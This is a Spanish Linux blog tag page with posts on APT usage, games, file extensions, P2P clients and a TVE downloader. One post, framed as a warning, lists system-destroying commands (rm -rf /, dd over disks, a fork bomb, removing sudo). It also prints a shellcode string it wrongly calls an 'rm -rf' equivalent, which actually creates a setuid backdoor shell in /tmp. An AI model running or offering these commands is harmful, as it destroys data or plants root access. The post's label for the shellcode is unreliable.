Posts Tagged GNU/Linux

Descargar videos de TVE con GNU/Linux

Navegando por internet me he encontrado un programa con el cual podrás descargarte los videos streaming de la web TVE. Solo tendrás que instar el programa y copiar la dirección del video y pegarlo al programa.

Podéis descargarlo desde aquí [GNU Public License (GPL), versión 3]. Contiene el código fuente.

1. Descomprimimos el archivo descargado en nuestro home de usuario. Accedemos a él, nos aseguramos de que tenga permisos de ejecución y lo ejecutamos.

2. Nos dirigimos a la sección de TVE a la carta y copiamos la ruta del vídeo que queremos descargar.

3. Pegamos la ruta anteriormente copiada y pulsamos intro.

4. El programa se ejecutará y mostrará la dirección del vídeo. Ahora da la opción de descargarlo (puede ser interesante, en vez de usar wget, copiar la dirección del vídeo para reproducir directamente en VLC u otros reproductores similares, o para descargar en gestores de descarga como JDownloader).

5. Si pulsamos sí, comienza la descarga con wget. El archivo se guardará en la carpeta del programa. En mi caso /home/carlos/descargarTVE/

El autor comenta que el código fuente está en fase alpha, quiere decir que se puede optimizar el programa. Esta sacado de este blog.

Deja un comentario

Que comandos no usar en Linux

Los usuarios de Linux siempre presumimos de lo potente que es el intérprete de comandos, que nos permite controlar nuestro sistema a nuestro antojo y con una potencia que es muy difícil de lograr con un entorno gráfico.

Sin embargo y como dice el famoso anuncio, “la potencia sin control no sirve de nada“. O más bien, “la potencia sin control puede causar estragos” en nuestras distribuciones Linux, porque hay comandos Linux o combinaciones de comandos que pueden acabar con todo aquello en lo que habíamos trabajado en nuestro sistema.

Es precisamente lo que nos recuerdan desde Linux * Screw, donde avisan de que jamás de los jamases ejecutéis estos comandos en una consola de comandos. ¡¡Avisados quedáis!!

1. Cualquiera de estos comandos borrará todo lo que tengáis en vuestro directorio personal, en la raíz o en el disco:

sudo rm -rf /
rm -rf .*
dd if=/dev/zero of=/dev/sda
mkfs.ext3 /dev/hda
loquesea > /dev/hda
cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
find -type f -mtime +30 -exec mv {} /dev/null \;
mv ~ /dev/null
mv / /dev/null

2. Con estos comandos conseguirás un kernel panic o dejar tu sistema tonto:

dd if=/dev/random of=/dev/port
:(){:|:&};:

A esto último se le conoce como fork bomb

3. Comando que hace lo mismo que “rm -rf /”, pero en plan enrevesado:

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

4. Con este ya no podrás ejecutar comandos con privilegios de superusuario:

rm -f /usr/bin/sudo;rm -f /bin/su

Copy&paste de Muy Linux

¿Alguien conoce algún comando destroza-sistemas adicional? 😉

Deja un comentario

Tarjetas de identidad de distribuciones GNU/linux

A modo de curiosidad navegando he encontrado unas «ID cards» de algunos sistemas GNU/Linux. Entre ellas las que  se pueden encontrar son Fedora, Debian, Mandriva, Suse, ArchLinux y Gentoo.

Os las podéis descargar e imprimir con vuestras imágenes.

Espero que os gusten, siempre podeis fardar.

Deja un comentario

Principales características del sistema GNU/Linux

GNU/Linux no es solo un buen sistema operativo por ser Software Libre y muchas de sus distribuciones ser gratuitas y puedas instalar a tus amigos tu copia de tu sistema sin ningun problema, aquí te dejo algunas características que hacen a este sistema sea unos de los mas modernos, estables y personalizables.

Multiprocesador: Linux soporta el trabajo con más de un microprocesador en plataformas Intel y SPARC.

Memoria: En Linux la memoria funciona en modo protegido, de esta forma un mal funcionamiento en la ejecución de un programa no puede colgar el sistema completo.La memoria es gestionada como un recurso unificado para todos los programas de usuarios y caché del disco. Esto asegura que toda la memoria pueda utilizarse como caché y, a la vez, ser reducida cuando sea necesario ejecutar programas de gran tamaño.

Ejecutables: Linux utiliza la llamada carga de ejecutables por demanda, esto quiere decir que sólo se leen y cargan del disco las partes de un programa que son necesarias en el momento.

Escritura: Es implementada una política de copia en escritura para la compartición de páginas entre ejecutables, es decir, varios procesos pueden utilizar una zona de la memoria para ejecutarse. Esto da como resultado un aumento en la velocidad y una reducción en el uso de la memoria.

Memoria Virtual: Linux emplea la paginación, por lo que no se intercambian procesos completos al disco.

Disponibilidad:Todos los archivos de código fuente del núcleo, herramientas de desarrollo, drivers y todos los programas de archivos fuente de usuario están disponibles para ser modificados y redistribuidos con total libertad. Aunque también existen programas comerciales que son ofrecidos a Linux sin código fuente.

Consolas virtuales Linux: presenta la posibilidad de utilizar múltiples consolas virtuales independientes, que son
accesibles a través de combinaciones de teclas especiales.

Acceso a MS-DOS: Posee un acceso totalmente transparente a particiones MS-DOS, utilizando un sistema de archivos especial. No es necesario ejecutar algún comando particular para acceder a este tipo de particiones, ya que
éstas se presentan como un sistema de archivo propio de un sistema operativo Unix.

UMS-DOS: Este sistema de archivos propio de Linux permite que sea instalado sin problemas en una partición MS-DOS.

Copy&paste de: http://busquiel.sociallinux.org/2009/06/principales-caracteristicas-de-gnulinux/

Deja un comentario

Manual básico sobre el uso de APT en Linux

Todos conocemos Synaptic, nos permite instalar programas o actualizarlos. De todos modos nunca viene de mas saber sobre el uso de APT ya que en alguna ocasión quizás debamos de usarlo.

La abreviatura APT significa Advanced Packaging Tool y es usado por todas las distribuciones basadas en Debian. Suele ser necesaria la conexión a internet aunque a veces también funcione sin ella. Las tareas que puede realizar APT son las siguientes:

  • Buscar paquetes en internet o localmente
  • Solucionar dependencias, algunas veces para que funcione una aplicación se necesitan otras, esto es una dependencia.
  • Descargar de internet aplicaciones, dependencias o paquetes
  • Instalar en orden correcto paquetes y dependencias

Los paquetes usados por APT provienen de los repositorios. Solo se puede hacer uso de APT en caso que seas superusuario o root (administrador). Seguidamente pondremos una lista de comandos y su utilidad. (Cuando ponemos paquete debe ser sustituido por el nombre del archivo).

sudo apt-get update

Actualiza los repositorios.

sudo apt-get install paquete

De este modo se nos instalará el paquete con sus dependencias de forma ordenada.

sudo apt-get -d paquete

Se nos baja el paquete y sus dependencias pero no se instala, esto es útil cuando queramos instalar estos paquetes en otras pc.

sudo apt-get –reinstall install paquete

Podemos actualizar el paquete o solucionar los problemas que pueda tener.

sudo apt-get install paquete1 paquete2- paquete 3

De este modo podremos instalar los paquetes 1 y 2 pero al poner el signo – delante del tercero este último de desinstalará.

sudo apt-get remove paquete

De esta forma desinstalaremos el paquete junto con todas sus dependencias.

sudo apt-get –purge remove paquete

Esta opción ademas de borrar todos los paquetes y dependencias borra los archivos de configuración.

sudo apt-get upgrade

Nos actualiza los paquetes a una versión mas nueva, pero antes se tiene que haber usado sudo apt-get update.

sudo apt-get dist-upgrade

Con este comando actualizaremos la versión del núcleo, Linux.

Los paquetes una vez instalados se quedan en var/cache/apt/archives. Pero los podemos borrar de las siguietes dos formas, pero cuidado si los borramos y después los queremos los tendremos que volver a bajar.

sudo apt-get autoclean

Este comando borra los paquetes de los cuales ya existe una nueva versión en el cache.

sudo apt-get clean

Este borra todos los paquetes sin excepción.

Para realizar las consultas de los paquetes tenemos las siguientes tres opciones:

sudo apt-cache search palabra

Busca todos los paquetes que contengan «palabra» en su nombre o descripciones y nos mostrará un listado con ellos.

sudo apt-cache show paquete

De este modo obtendremos información sobre el paquete.

sudo apt-cache depends paquete

Nos mostrará las dependencias del paquete, es decir de los que depende el paquete mencionado.

Copy&paste algo modificado de: http://paraisolinux.com/uso-basico-de-apt/

Comments (3)

Juegos para GNU/Linux

GNU/Linux no es solamente  comandos de consola, reglas  y archivos de configuracion, muchas personas creen que en nuestro sistema operativo libre no hay una lugar para el entrenimiento y la diversion. Este pensamiento es totalmente equivocado,  si bien hay que aceptar que existen juegos mas entretenidos y populares en Windows, GNU/Linux nos ofrece una diversidad de juegos   los cuales   no tienen nada que envidiarle a los juegos privativos, por esta razon hoy  he   deseado mostrar una pequeña recoleccion de los juegos existentes  para GNU/Linux, hay que aclarar que no los conozco todos, no soy un gamer constante, pero listare los que he probado y me han gustado:

  • SuperTux: basado en el tradicional Super Mario Bros, a diferencia de que este es software libre.
  • SuperTuxKart: Un juego libre de competencias de carros.
  • Extreme Tux Racer: Una pista de hielo donde Tux se desliza libremente, adquiriendo grandes velocidades.
  • Urban terror:Urban Terror es un juego FPS de estrategia en tiempo real al mas puro estilo de counter strike pero con gráficas mucho mejores que utiliza el motor quake. Obviamente esta bajo la licencia GPL
  • Open Arena: Es un shooter multijugador en primera persona al más puro estilo Prey con licenciaGPL y disponible para Windows y GNU/Linux
  • Armagetron: Consiste en manejar una moto que nunca se detiene y deja una pared atrás de ella. El objetivo es sencillo, hacer que tus enemigos choquen la pared, Es algo similar  a la serpiente de los moviles Nokia  a diferencia que este es multiplayer.

Fuente: http://www.rinconinformatico.net/2009/05/juegos-para-gnulinux/

Deja un comentario

Extensiones de archivos en GNU/Linux

Las extensiones de los archivos han perdido importancia según han ido pasando los años, sobre todo en comparación con la “epoca dorada del MS-Dos” Esto es debido a que un extensión, habitualmente de tres letras, no identifica realmente el formato de un archivo, sino que puede nombrarse sin respetar su contenido.

A diferencia de de Windows que utiliza las extensiones de los archivos para determinar su timpo, y por tanto seleccionar la aplicación con la que se abren, GNU/Linux y otros SO Unix, solo utilizan estas extensiones por convención , pero no les son necesarias para determinar su formato.

Otra diferencia sustancial en su uso la encontramos en que en otros sistemas operativos las extensiones tienen tres caracteres, en linux es tan habitual encontrarnos de tres como de uno, dos o incluso cuatro o más caracteres. Sólo hace falta investigar un poco por las carpetas del sistema para ver las numerosas y variadas extensiones que existen.

A continuación os dejo las extensiones más usadas en este sistema operativo.

Ejecutables:

  • ELF: Formato binario estandar en GNU/Linux
  • PL: Script en lenguaje Perl.
  • PY: Script en lenguaje Python.
  • SH: Script de Shell, utilizado para crear pequeños programas.

Codigos fuentes y librerías:

  • A: Librerías estáticas.
  • C: Código del lenguaje C.
  • CPP: Código del lenguaje C++.
  • DIFF: Conjunto de isntrucciones que defines los cambios al aplicarse un parche.
  • H: Cabecera de archivos programados en C
  • LO: Archivo temporal creado en la compilación de una librería.
  • O: Archivo temporal creado al compilar un programa.
  • SO:Librerías compartidas, equivalentes a DLL en Windows.

Comprimidos y empaquetados:

  • ARJ: Formato de compresión muy habitual hace unos años.
  • BZ2: Archivo comprimido con la herramienta BZIP2.
  • GZ: Fichero generado mediante la herramienta GZIP, sustituta de la ya anticuada “compress”
  • RAR: Sustituto natural de ARJ.
  • TAR: Archivo empaquetado sin comprimir, habitualmente comprimido con GZIP o BZIP2, formando extensiones dobles. (ej. tar.gz)
  • TBZ2: Archivo resultante de comprimir en BZIP2 un archivo TAR.
  • TGZ:Resultado de comprimir en GZIP un archivo TAR.
  • Z: Fichero comprimido con la herramienta compress.
  • ZIP: Es el formato de compresión más utilizado en internet, aunque en GNU/Linux no es muy común usarlo.

Archivos del Sistema:

  • CONF: Archivo de configuración de un programa. Almacenados en su mayoría en el directorio /etc/
  • KO: Módulos del núcleo de l arama 2.6
  • LOCK: Indica el bloqueo de un servicio, proceso o programa. Se suelen guardar en /tmp borrándose con cada inicio.
  • LOG: Archivo de información, generados por el propio núcleo y los programas y servicios instalados.
  • PID: Ficheros identificadores de procesos, necesarios para el correcto funcionamiento de los servicios en ejecución.
  • SOCKET: Medio de comunicación entre dos programas situados habitualmente en equipos distintos.
  • TMP: Archivos temporales creado por un programa para almacenar información.

Distribuciones de paquetes binarios:

  • DEB: Usado por Debian y distros derivadas, entre las que destaca Ubuntu o Linux Mint como más conocidas.
  • DSC: Archivo de información del código fuente de un paquete en Debian.
  • EBUILD: Script utilizado por Gentoo para compilar e instalar paquetes a partir de su código fuente.
  • RPM: Usado por Red Hat, Fedora, CentOS, SUSE, Mandriva y derivados.
  • SLP: Distribución Stampede.
  • TGZ: Archivos TAR.GZ ya compilados para Slackware.

Fuente: http://iyanovich.wordpress.com/2009/05/10/extensiones-de-archivos-en-gnulinux/

Deja un comentario

El poder y posibilidades de GNU/Linux

Cuando decidí instalar Ubuntu 8.04 en mi portátil no me podia imaginar donde me iba a meter. No solo mi portátil, un Acer aspire 5315 rinde mas si no que he aprendido cosas que no sabia que se podían hacer como compilar un kernel, cambiar el entorno grafico de mi sistema , incluso hacer un sistema operativo una persona solo, cosas así, también he aprendido que con GNU/Linux mis conocimientos de informática han aumentado de una manera considerable y esto solo es la punta del iceberg.¡Ay! si tuviera mas tiempo, esto me ha pillado en un momento de mi vida en el que tengo dos personillas en las que pensar también, que si no.

Con GNU/Linux he aprendido que en Internet esta el sistema operativo que cada cual necesita, que incluso el que utiliza Windows o Mac se puede beneficiar de las ventajas que ofrece el Software libre y GNU/Linux sobre todo arreglando los desaguisados que el 1º hace.

Que muchos dispositivos que utilizamos habitualmente llevan  GNU/Linux sin que lo sepamos ya sean móviles, consolas, en el software de los coches, navegadores , en un sinfín de dispositivos esta y la gente sin saberlo.

Con GNU/Linux puedes aprovechar los viejos PCs para que sean utilizables otra vez, con un sistema totalmente seguro y estable corriendo en su interior.

Te lo puedes llevar en una USB y utilizarlo en cualquier PC y portátil que yo sepa esto solo se puede hacer con este sistema. Y muchas mas cosas que seguro que me dejo en el tintero.

Para terminar solo decir  que cuando empiezas a conocer un poco este mundo te das cuenta de las posibilidades y el poder que tiene GNU/Linux.

Invitoa cualquiera que deje un comentario con las cosas que se pueden hacer con GNU/Linux.

Fuente: http://busquiel.sociallinux.org/2009/04/el-poder-y-posibilidades-de-gnulinux/

Deja un comentario

UNetbootin, crea un live-usb de cualquier distribución

Normalmente cada distribución GNU/Linux tiene su propio creador de live-USB a partir de los live-CD. Por ejemplo, Ubuntu desde la versión “intrepid ibex” trae una herramienta para crear USBs de arranque. Fedora también. El problema es que estas herramientas sólo permiten la instalación en el USB de una sola distro. Me explico, el creador de Ubuntu sólo permite usarlo con ISOs de Ubuntu. La herramienta de Fedora sólo permite crear USBs con Fedora. Pues bien, navegando me encontré una herramienta muy útil: UNetbootin

Con esta herramienta no solo podrás instalar cualquier distribución linux en tu USB, sino que también podrás indicarle cuál quieres y el programa se encargará de descargar lo que necesites. También permite la instalación de live-USB con la versión de kernel que tu quieras.

Si eres de los que prueba todas las versiónes de GNU/Linux pero no quieres malgastar muchos CDs esta herramienta te va a venir genial. Además la aplicación se encuentra disponible para GNU/Linux (código fuente aquí) y para Windows. Y por último para instalar esta herramienta podéis seguir los sencillos pasos que dan en la web del proyecto.

Fuente: http://iyanovich.wordpress.com/2009/04/19/unetbootin/

Deja un comentario

Aplicaciones p2p para GNU/Linux

Una lista de programas de este tipo para GNU/Linux:

Transmission: cliente Bit Torrent conocido por su sencillez y que va instalado en Ubuntu por defecto.

Bit Torrent 6.1.2: este es el programa cliente Bit Torrent por excelencia.(www.bittorrent.com)

GNUnet: este programa viene de perlas para pasar archivos sin tener restricciones ya que te otorga anonimato.(esta aplicación esta en repositorios de Ubuntu).

Amule 2.2.2: aplicación parecida al Emule de windows utiliza la misma red eDonkey y Kad incluso comparte archivos con la aplicacion de Windows.(esta aplicación esta en repositorios de Ubuntu).

Lphant 3.51: ofrece tres redes p2p desde un solo cliente dos de ellas son Bit Torrent y eDonkey.(www.Lphant.com)

Phex 3.4:  un buen cliente para la red Gnutella aunque algo pesado.(www.phex.org)

Tambíen hay otros como ktorrent, MLdonkey 2.9.6, Deluge, etc….

No hay que olvidar que puedes utilizar Ares p2p con la aplicación Wine incluso montar una aplicacion que utiliza su red en ubuntu. Ares en Linux sin Wine.

Fuente: http://busquiel.sociallinux.org/2009/04/aplicaciones-p2p-para-gnulinux/

Deja un comentario

Older Posts »